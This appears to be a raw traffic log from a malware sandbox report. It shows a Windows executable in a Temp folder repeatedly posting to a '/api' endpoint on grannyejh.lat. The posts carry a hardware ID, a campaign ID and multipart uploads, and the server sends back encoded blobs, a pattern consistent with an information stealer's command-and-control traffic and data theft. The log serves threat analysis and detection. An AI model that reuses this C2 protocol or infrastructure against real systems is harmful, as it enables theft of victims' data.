                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:05 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=eq8rsktnul9hk7eakj7mi7bhs6; expires=Sun, 13 Apr 2025 17:56:44 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            X-Frame-Options: DENY
                                                                                                                                                                                                                                                            X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                            X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cD3yiFz%2FVGO8FPkXH0yrlGmfadau4h%2Fv2r1tGcrpHtqxBNjP%2FEoqQL0z95XHwYLAb7I0v7Aj%2BYGAG6uKARb5h2auYI15wb44ZlpBi5TT35NLyKOCD4lao07tyqeF%2Fw2E"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432ae4e89b4282-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1649&min_rtt=1614&rtt_var=631&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=904&delivery_rate=1809169&cwnd=252&unsent_bytes=0&cid=a3ff94b566ffe739&ts=682&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:10:05 UTC7INData Raw: 32 0d 0a 6f 6b 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 2ok
                                                                                                                                                                                                                                                            2024-12-19 00:10:05 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            15192.168.2.549960172.67.179.1094431256C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:10:06 UTC261OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 47
                                                                                                                                                                                                                                                            Host: grannyejh.lat
                                                                                                                                                                                                                                                            2024-12-19 00:10:06 UTC47OUTData Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d
                                                                                                                                                                                                                                                            Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
                                                                                                                                                                                                                                                            2024-12-19 00:10:07 UTC1120INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:07 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=prs8rjb17393nedq9mqne442vc; expires=Sun, 13 Apr 2025 17:56:46 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            X-Frame-Options: DENY
                                                                                                                                                                                                                                                            X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                            X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fQpT7qwgUsnCVJtzsTvW6%2B1QdhsERYZHrTAE%2BxzU4%2FwwW0OUY1gMXwMNOfOZl07Kiagyukp0gMRRDpQtkmHI%2F0E71cC7MkneHwcX7V2H1eisoFndjQ0xQiOWkL44N5Oo"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432af29b6943d3-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1647&min_rtt=1637&rtt_var=635&sent=7&recv=8&lost=0&retrans=0&sent_bytes=2829&recv_bytes=944&delivery_rate=1694718&cwnd=236&unsent_bytes=0&cid=2a4ed9c2e92876b4&ts=1192&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:10:07 UTC249INData Raw: 34 39 31 63 0d 0a 4a 57 75 39 69 43 38 37 57 47 56 67 69 56 63 54 39 78 38 31 38 47 59 30 68 63 33 67 79 2f 49 79 36 6f 36 41 43 5a 58 6f 64 4d 4a 65 53 63 75 71 46 51 39 30 52 78 50 73 64 53 6d 44 62 55 43 56 53 68 62 6b 71 63 4c 78 6c 46 4f 47 2f 65 55 6c 74 35 34 5a 34 42 38 4e 33 4f 52 63 58 6e 52 48 42 66 46 31 4b 61 78 6b 46 35 55 49 46 72 2f 76 68 61 47 51 55 34 62 73 34 57 4c 36 6d 42 69 68 54 51 66 61 34 45 70 59 50 41 51 4d 35 44 4a 32 6b 6e 35 66 6e 67 39 5a 37 61 44 43 35 39 42 58 6b 4b 79 36 4b 39 69 4e 41 4b 4e 6f 43 73 37 6a 44 55 5a 30 48 6b 4c 73 4f 54 48 4e 50 56 53 56 42 46 6a 6a 71 59 75 6a 6d 6c 71 4f 37 65 52 6a 35 59 45 53 71 6b 30 4a 32 65 46 41 55 53 67 4a 42 75 4d 35 63 4a 68 2b 46 39 78 45 55 66 2f 76 32 75 6e
                                                                                                                                                                                                                                                            Data Ascii: 491cJWu9iC87WGVgiVcT9x818GY0hc3gy/Iy6o6ACZXodMJeScuqFQ90RxPsdSmDbUCVShbkqcLxlFOG/eUlt54Z4B8N3ORcXnRHBfF1KaxkF5UIFr/vhaGQU4bs4WL6mBihTQfa4EpYPAQM5DJ2kn5fng9Z7aDC59BXkKy6K9iNAKNoCs7jDUZ0HkLsOTHNPVSVBFjjqYujmlqO7eRj5YESqk0J2eFAUSgJBuM5cJh+F9xEUf/v2un
                                                                                                                                                                                                                                                            2024-12-19 00:10:07 UTC1369INData Raw: 44 59 6f 76 39 38 33 37 36 6d 68 44 67 57 45 66 47 71 6b 70 56 65 6c 39 43 34 7a 6c 2f 6b 48 35 59 6c 51 56 57 39 61 43 43 71 70 68 59 6a 4f 62 74 5a 50 69 45 48 4b 64 50 41 4e 6a 6c 53 6c 45 38 43 41 47 72 65 7a 47 53 5a 52 66 4b 52 48 62 33 72 49 47 39 6e 55 48 49 38 36 78 79 74 34 30 61 34 42 39 4a 32 65 52 4d 56 44 6f 56 43 75 41 2b 64 49 64 32 58 70 38 4a 56 75 71 6c 6a 61 71 51 56 34 4c 6d 37 57 48 7a 68 78 75 6d 52 77 6d 66 70 41 31 65 49 6b 64 61 71 78 5a 30 68 58 70 62 68 45 5a 73 70 37 44 4d 73 4e 42 58 68 4b 79 36 4b 2f 2b 50 46 61 4e 4d 42 74 7a 69 52 6b 73 36 46 51 54 6d 4d 47 4f 54 65 46 6d 59 42 30 54 74 6f 59 53 71 6d 56 75 42 36 65 56 76 74 38 52 57 70 31 39 4a 68 36 70 73 56 44 45 4c 43 50 77 31 4d 59 6f 7a 54 74 49 44 57 71 66 33 77 71
                                                                                                                                                                                                                                                            Data Ascii: DYov98376mhDgWEfGqkpVel9C4zl/kH5YlQVW9aCCqphYjObtZPiEHKdPANjlSlE8CAGrezGSZRfKRHb3rIG9nUHI86xyt40a4B9J2eRMVDoVCuA+dId2Xp8JVuqljaqQV4Lm7WHzhxumRwmfpA1eIkdaqxZ0hXpbhEZsp7DMsNBXhKy6K/+PFaNMBtziRks6FQTmMGOTeFmYB0TtoYSqmVuB6eVvt8RWp19Jh6psVDELCPw1MYozTtIDWqf3wq
                                                                                                                                                                                                                                                            2024-12-19 00:10:07 UTC1369INData Raw: 6f 71 4a 73 37 38 70 4f 34 47 30 4b 79 2b 6c 48 47 77 38 45 44 4f 55 79 5a 39 56 69 47 59 74 45 55 65 76 76 32 75 6d 64 55 59 44 71 38 47 54 36 69 52 69 75 53 41 7a 51 34 6b 31 5a 4e 77 49 47 34 44 35 79 6d 48 6c 46 6d 41 52 65 34 71 36 49 6f 39 41 65 79 4f 76 36 4b 36 2f 4b 4a 37 64 4d 53 2b 72 70 51 31 63 39 45 55 4c 30 65 32 6a 56 65 6c 76 53 58 42 62 71 70 34 65 73 6e 31 47 43 34 75 64 68 2b 34 49 59 6f 31 55 47 32 2b 70 42 55 54 41 4b 44 4f 38 39 65 4a 35 32 55 5a 49 46 58 4b 66 68 77 71 36 49 45 4e 43 73 31 6d 7a 37 68 78 6e 69 63 67 72 52 35 45 70 50 65 68 68 4d 38 6e 56 32 6d 54 30 50 30 67 68 66 35 36 53 49 72 5a 42 58 68 65 6e 68 62 50 53 48 45 61 70 4a 44 74 76 6d 52 46 51 38 42 77 58 76 4d 47 4f 51 64 46 75 65 52 42 69 6e 71 4a 72 70 79 42 43
                                                                                                                                                                                                                                                            Data Ascii: oqJs78pO4G0Ky+lHGw8EDOUyZ9ViGYtEUevv2umdUYDq8GT6iRiuSAzQ4k1ZNwIG4D5ymHlFmARe4q6Io9AeyOv6K6/KJ7dMS+rpQ1c9EUL0e2jVelvSXBbqp4esn1GC4udh+4IYo1UG2+pBUTAKDO89eJ52UZIFXKfhwq6IENCs1mz7hxnicgrR5EpPehhM8nV2mT0P0ghf56SIrZBXhenhbPSHEapJDtvmRFQ8BwXvMGOQdFueRBinqJrpyBC
                                                                                                                                                                                                                                                            2024-12-19 00:10:07 UTC1369INData Raw: 36 2f 4b 48 36 6c 56 42 39 48 6a 51 46 38 79 41 41 7a 6d 50 6e 65 65 65 6c 43 55 43 56 37 71 71 6f 47 6f 6c 46 71 61 37 2b 6c 68 2b 6f 42 57 37 67 63 4f 78 36 6f 56 47 52 30 4c 4b 2f 73 75 59 34 4d 39 53 4e 77 64 46 75 43 6a 77 76 48 51 55 34 66 6c 37 57 50 2f 68 52 6d 6b 53 51 2f 5a 35 30 68 57 4d 42 55 4b 35 54 68 36 6d 6e 5a 46 6b 67 6c 53 36 36 75 4b 6f 70 6f 51 78 71 7a 6c 63 37 66 53 56 70 56 4b 42 74 2f 70 57 78 6b 6c 53 52 75 72 4d 6e 33 56 4a 52 65 65 43 6c 62 6f 6f 34 36 69 6d 46 47 45 34 75 56 75 2f 6f 49 65 73 6b 59 4e 31 2b 74 44 56 6a 73 44 42 2b 34 78 64 70 46 37 57 4e 4a 4b 46 75 43 33 77 76 48 51 66 36 2f 5a 6f 45 72 4e 79 67 6e 75 58 6b 6e 59 35 67 30 42 65 67 73 42 35 7a 31 2b 6b 33 52 62 6d 41 31 64 36 36 53 47 70 5a 6c 56 6a 75 33 6e
                                                                                                                                                                                                                                                            Data Ascii: 6/KH6lVB9HjQF8yAAzmPneeelCUCV7qqoGolFqa7+lh+oBW7gcOx6oVGR0LK/suY4M9SNwdFuCjwvHQU4fl7WP/hRmkSQ/Z50hWMBUK5Th6mnZFkglS66uKopoQxqzlc7fSVpVKBt/pWxklSRurMn3VJReeClboo46imFGE4uVu/oIeskYN1+tDVjsDB+4xdpF7WNJKFuC3wvHQf6/ZoErNygnuXknY5g0BegsB5z1+k3RbmA1d66SGpZlVju3n
                                                                                                                                                                                                                                                            2024-12-19 00:10:07 UTC1369INData Raw: 47 70 56 51 66 53 35 55 56 52 4d 77 59 47 37 6a 68 33 6d 58 64 57 6c 51 70 59 37 2b 2f 4d 36 5a 64 49 79 4c 53 69 53 75 65 52 42 4c 5a 4b 4b 4e 4c 6c 44 55 5a 30 48 6b 4c 73 4f 54 48 4e 50 56 36 41 41 46 76 31 70 6f 57 6e 6e 31 4f 61 37 65 39 67 35 59 30 5a 70 45 41 46 32 65 56 4c 57 44 38 4e 44 75 77 77 65 70 70 78 46 39 78 45 55 66 2f 76 32 75 6d 2b 57 35 76 37 34 57 58 38 6e 41 33 67 57 45 66 47 71 6b 70 56 65 6c 39 43 36 44 35 36 6b 58 31 62 6b 67 42 62 35 37 32 4e 72 70 64 5a 67 2f 37 6f 62 50 43 42 48 71 74 49 44 38 33 6d 51 30 73 2f 46 52 43 72 65 7a 47 53 5a 52 66 4b 52 47 44 67 76 35 4b 71 30 6d 47 65 37 2f 52 67 2b 6f 5a 57 76 77 6b 51 6e 2b 31 42 47 57 4a 48 42 4f 51 38 63 70 70 38 58 70 34 4a 55 2b 36 71 67 36 2b 55 57 6f 4c 73 35 47 33 32 6a
                                                                                                                                                                                                                                                            Data Ascii: GpVQfS5UVRMwYG7jh3mXdWlQpY7+/M6ZdIyLSiSueRBLZKKNLlDUZ0HkLsOTHNPV6AAFv1poWnn1Oa7e9g5Y0ZpEAF2eVLWD8NDuwweppxF9xEUf/v2um+W5v74WX8nA3gWEfGqkpVel9C6D56kX1bkgBb572NrpdZg/7obPCBHqtID83mQ0s/FRCrezGSZRfKRGDgv5Kq0mGe7/Rg+oZWvwkQn+1BGWJHBOQ8cpp8Xp4JU+6qg6+UWoLs5G32j
                                                                                                                                                                                                                                                            2024-12-19 00:10:07 UTC1369INData Raw: 4f 30 36 6f 56 47 54 6b 41 41 65 6f 2f 65 4a 6c 79 55 4a 59 57 58 4f 43 39 67 36 69 62 58 59 54 73 37 32 62 39 69 78 2b 74 53 77 54 59 37 55 4a 63 65 6b 6c 43 37 43 30 78 7a 54 31 32 6e 77 39 61 76 50 58 43 74 74 35 4a 79 4f 76 75 4b 36 2f 4b 46 71 70 43 41 39 4c 70 51 6c 6f 6f 42 67 54 35 4e 58 79 66 62 31 32 5a 41 56 76 71 6f 6f 47 76 6c 6c 75 45 2f 75 74 72 39 49 46 57 37 67 63 4f 78 36 6f 56 47 52 6b 51 46 4f 45 79 66 59 4e 32 56 70 45 53 57 2f 66 76 7a 4f 6d 42 56 35 6d 73 75 6e 33 6e 6e 52 47 2f 43 52 43 66 37 55 45 5a 59 6b 63 45 34 6a 4e 32 6b 33 4e 46 6c 77 4a 5a 36 4b 61 4c 72 5a 68 54 69 4f 6a 6d 62 50 4b 4a 47 71 74 41 43 74 44 75 52 46 63 7a 43 45 4b 6c 64 58 61 4e 50 51 2f 53 4a 55 33 6b 6f 34 2f 70 6a 78 36 52 72 4f 56 6e 74 39 4a 57 72 45
                                                                                                                                                                                                                                                            Data Ascii: O06oVGTkAAeo/eJlyUJYWXOC9g6ibXYTs72b9ix+tSwTY7UJceklC7C0xzT12nw9avPXCtt5JyOvuK6/KFqpCA9LpQlooBgT5NXyfb12ZAVvqooGvlluE/utr9IFW7gcOx6oVGRkQFOEyfYN2VpESW/fvzOmBV5msun3nnRG/CRCf7UEZYkcE4jN2k3NFlwJZ6KaLrZhTiOjmbPKJGqtACtDuRFczCEKldXaNPQ/SJU3ko4/pjx6RrOVnt9JWrE
                                                                                                                                                                                                                                                            2024-12-19 00:10:07 UTC1369INData Raw: 57 31 77 39 45 55 44 65 4e 6e 2b 62 65 6b 48 53 47 32 6d 70 37 34 32 7a 30 41 69 78 39 61 4a 73 2b 38 70 4f 34 46 49 4f 33 2b 31 58 54 7a 30 4c 45 2b 41 34 66 62 64 79 55 49 51 48 57 65 53 2b 69 2b 57 62 58 63 69 69 6f 6d 7a 76 79 6b 37 67 61 41 37 4a 36 57 4a 61 4b 77 35 43 70 58 56 32 67 7a 30 50 30 6a 6f 57 39 61 79 53 71 70 39 42 74 71 79 36 63 73 6e 4b 48 62 5a 41 47 64 7a 38 52 6c 51 32 46 6a 79 72 62 53 58 48 4c 77 58 41 56 6b 6d 6e 73 4c 33 6e 30 46 48 49 74 4e 74 79 74 35 78 57 2b 42 56 48 6e 2f 67 4e 41 58 70 41 41 66 6b 6e 64 35 5a 72 56 4e 55 36 61 4d 43 35 69 4b 36 41 56 35 2f 6a 6f 69 57 33 68 56 62 34 66 6b 6e 57 37 56 5a 49 4c 41 6f 53 37 48 56 4f 32 7a 31 50 30 6c 77 57 30 71 79 4d 70 35 64 47 6d 61 48 46 66 66 32 4e 42 71 64 51 42 70 2b
                                                                                                                                                                                                                                                            Data Ascii: W1w9EUDeNn+bekHSG2mp742z0Aix9aJs+8pO4FIO3+1XTz0LE+A4fbdyUIQHWeS+i+WbXciiomzvyk7gaA7J6WJaKw5CpXV2gz0P0joW9aySqp9Btqy6csnKHbZAGdz8RlQ2FjyrbSXHLwXAVkmnsL3n0FHItNtyt5xW+BVHn/gNAXpAAfknd5ZrVNU6aMC5iK6AV5/joiW3hVb4fknW7VZILAoS7HVO2z1P0lwW0qyMp5dGmaHFff2NBqdQBp+
                                                                                                                                                                                                                                                            2024-12-19 00:10:07 UTC1369INData Raw: 51 63 46 2b 79 4e 71 32 58 56 55 69 42 35 6f 32 59 53 4f 72 35 64 4b 6a 2b 72 45 53 37 66 45 56 71 38 48 55 65 61 71 42 52 6b 46 53 55 4c 7a 64 53 6e 56 53 46 53 63 43 6c 48 78 76 73 2b 42 73 32 71 79 72 73 35 73 34 73 67 69 70 31 63 59 31 4f 64 42 47 58 52 48 42 4b 74 74 49 64 73 39 55 34 4e 45 44 72 66 39 32 66 7a 44 42 39 69 2b 2f 53 58 75 79 67 44 67 48 31 75 52 71 6c 38 5a 59 6b 64 46 36 43 64 6a 6b 33 35 42 6b 55 4e 6f 32 59 69 4d 72 70 46 47 6d 50 76 74 56 63 6d 66 46 61 35 4a 44 73 6e 37 44 52 64 36 43 45 4b 7a 44 44 48 64 50 57 6a 63 52 45 36 6e 39 38 4b 63 6b 31 36 47 36 2f 52 36 75 71 30 59 70 30 59 66 7a 2f 31 43 47 58 52 48 42 4b 74 74 49 39 73 39 55 34 4e 45 44 72 66 39 32 66 7a 44 42 39 69 2b 2f 53 58 75 79 67 44 67 48 31 75 52 71 6c 38 5a
                                                                                                                                                                                                                                                            Data Ascii: QcF+yNq2XVUiB5o2YSOr5dKj+rES7fEVq8HUeaqBRkFSULzdSnVSFScClHxvs+Bs2qyrs5s4sgip1cY1OdBGXRHBKttIds9U4NEDrf92fzDB9i+/SXuygDgH1uRql8ZYkdF6Cdjk35BkUNo2YiMrpFGmPvtVcmfFa5JDsn7DRd6CEKzDDHdPWjcRE6n98Kck16G6/R6uq0Yp0Yfz/1CGXRHBKttI9s9U4NEDrf92fzDB9i+/SXuygDgH1uRql8Z
                                                                                                                                                                                                                                                            2024-12-19 00:10:07 UTC1369INData Raw: 30 32 4d 64 73 39 57 39 4a 63 46 75 61 6c 6b 71 53 66 56 38 54 72 2b 47 79 33 78 46 61 75 42 31 47 66 36 30 64 4a 4e 77 67 46 70 7a 4e 2f 6d 7a 31 49 33 42 30 57 38 65 2f 61 2b 74 34 51 6d 71 79 36 4b 37 43 4a 42 4c 4a 42 43 73 6e 70 43 6d 63 45 4b 68 44 73 4a 58 4c 58 54 46 71 57 45 6b 50 6b 76 34 57 58 72 6e 32 61 36 2f 4a 6f 74 62 73 41 6f 30 63 48 32 4b 6f 44 47 53 4a 48 57 71 73 59 59 35 4a 74 56 4e 4a 4b 46 75 76 76 32 75 6d 64 51 6f 2f 38 34 53 66 77 6b 42 48 67 57 45 66 47 71 6c 73 5a 59 6c 52 4d 71 79 63 78 7a 54 30 51 6e 41 6c 58 35 4b 47 42 75 34 4a 57 69 2f 72 68 4c 4d 6d 30 4f 37 4a 41 47 64 79 6f 66 46 51 2b 45 52 66 6f 4a 58 61 72 51 33 71 41 41 30 62 6b 37 61 36 75 6e 56 79 32 30 74 56 36 38 4a 70 55 68 6b 51 66 33 4b 6f 44 47 53 4a 48 57
                                                                                                                                                                                                                                                            Data Ascii: 02Mds9W9JcFualkqSfV8Tr+Gy3xFauB1Gf60dJNwgFpzN/mz1I3B0W8e/a+t4Qmqy6K7CJBLJBCsnpCmcEKhDsJXLXTFqWEkPkv4WXrn2a6/JotbsAo0cH2KoDGSJHWqsYY5JtVNJKFuvv2umdQo/84SfwkBHgWEfGqlsZYlRMqycxzT0QnAlX5KGBu4JWi/rhLMm0O7JAGdyofFQ+ERfoJXarQ3qAA0bk7a6unVy20tV68JpUhkQf3KoDGSJHW


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            16192.168.2.549965172.67.179.1094435360C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:10:08 UTC273OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=BXUGZO8TFRJ4F
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 1285
                                                                                                                                                                                                                                                            Host: grannyejh.lat
                                                                                                                                                                                                                                                            2024-12-19 00:10:08 UTC1285OUTData Raw: 2d 2d 42 58 55 47 5a 4f 38 54 46 52 4a 34 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 32 33 41 39 33 30 36 42 41 44 30 39 38 46 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 42 58 55 47 5a 4f 38 54 46 52 4a 34 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 42 58 55 47 5a 4f 38 54 46 52 4a 34 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 42 58 55 47 5a 4f 38 54 46 52 4a
                                                                                                                                                                                                                                                            Data Ascii: --BXUGZO8TFRJ4FContent-Disposition: form-data; name="hwid"9B23A9306BAD098FAC8923850305D13E--BXUGZO8TFRJ4FContent-Disposition: form-data; name="pid"1--BXUGZO8TFRJ4FContent-Disposition: form-data; name="lid"PsFKDg--pablo--BXUGZO8TFRJ
                                                                                                                                                                                                                                                            2024-12-19 00:10:09 UTC1122INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:09 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=202q09o238eq14vhr8ecnqmdv2; expires=Sun, 13 Apr 2025 17:56:48 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            X-Frame-Options: DENY
                                                                                                                                                                                                                                                            X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                            X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
                                                                                                                                                                                                                                                            vary: accept-encoding
                                                                                                                                                                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jtSib%2BsAS4rdTslqopM3kKYNaZWJlve03ap7LLBuMubbUXM%2FSbdw9EhD5dktlwUEpdSoVSwyLo4pP9a47qwna%2FNe4z0GO6DWBCSbXI4NSdTtIxHd%2FyEDppuy2iVXKh%2BX"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                            Server: cloudflare
                                                                                                                                                                                                                                                            CF-RAY: 8f432afd1e078c8f-EWR
                                                                                                                                                                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1828&min_rtt=1825&rtt_var=691&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=2194&delivery_rate=1574973&cwnd=209&unsent_bytes=0&cid=487ff912ae4a1467&ts=828&x=0"
                                                                                                                                                                                                                                                            2024-12-19 00:10:09 UTC20INData Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: fok 8.46.123.189
                                                                                                                                                                                                                                                            2024-12-19 00:10:09 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                            Data Ascii: 0


                                                                                                                                                                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                            17192.168.2.549983172.67.179.1094431256C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exe
                                                                                                                                                                                                                                                            TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                            2024-12-19 00:10:12 UTC272OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                                            Connection: Keep-Alive
                                                                                                                                                                                                                                                            Content-Type: multipart/form-data; boundary=NK1WIW7LP8Z
                                                                                                                                                                                                                                                            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                                            Content-Length: 11573
                                                                                                                                                                                                                                                            Host: grannyejh.lat
                                                                                                                                                                                                                                                            2024-12-19 00:10:12 UTC11573OUTData Raw: 2d 2d 4e 4b 31 57 49 57 37 4c 50 38 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 42 32 33 41 39 33 30 36 42 41 44 30 39 38 46 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4e 4b 31 57 49 57 37 4c 50 38 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4e 4b 31 57 49 57 37 4c 50 38 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4e 4b 31 57 49 57 37 4c 50 38 5a 0d 0a 43 6f 6e 74
                                                                                                                                                                                                                                                            Data Ascii: --NK1WIW7LP8ZContent-Disposition: form-data; name="hwid"9B23A9306BAD098FAC8923850305D13E--NK1WIW7LP8ZContent-Disposition: form-data; name="pid"2--NK1WIW7LP8ZContent-Disposition: form-data; name="lid"PsFKDg--pablo--NK1WIW7LP8ZCont
                                                                                                                                                                                                                                                            2024-12-19 00:10:13 UTC1118INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                            Date: Thu, 19 Dec 2024 00:10:13 GMT
                                                                                                                                                                                                                                                            Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                            Transfer-Encoding: chunked
                                                                                                                                                                                                                                                            Connection: close
                                                                                                                                                                                                                                                            Set-Cookie: PHPSESSID=dm10gqn9j46ft4s9s6jjbaei6g; expires=Sun, 13 Apr 2025 17:56:52 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                                            Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                                            Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                                            Pragma: no-cache
                                                                                                                                                                                                                                                            X-Frame-Options: DENY
                                                                                                                                                                                                                                                            X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                                            X-XSS-Protection: 1; mode=block
                                                                                                                                                                                                                                                            cf-cache-status: DYNAMIC
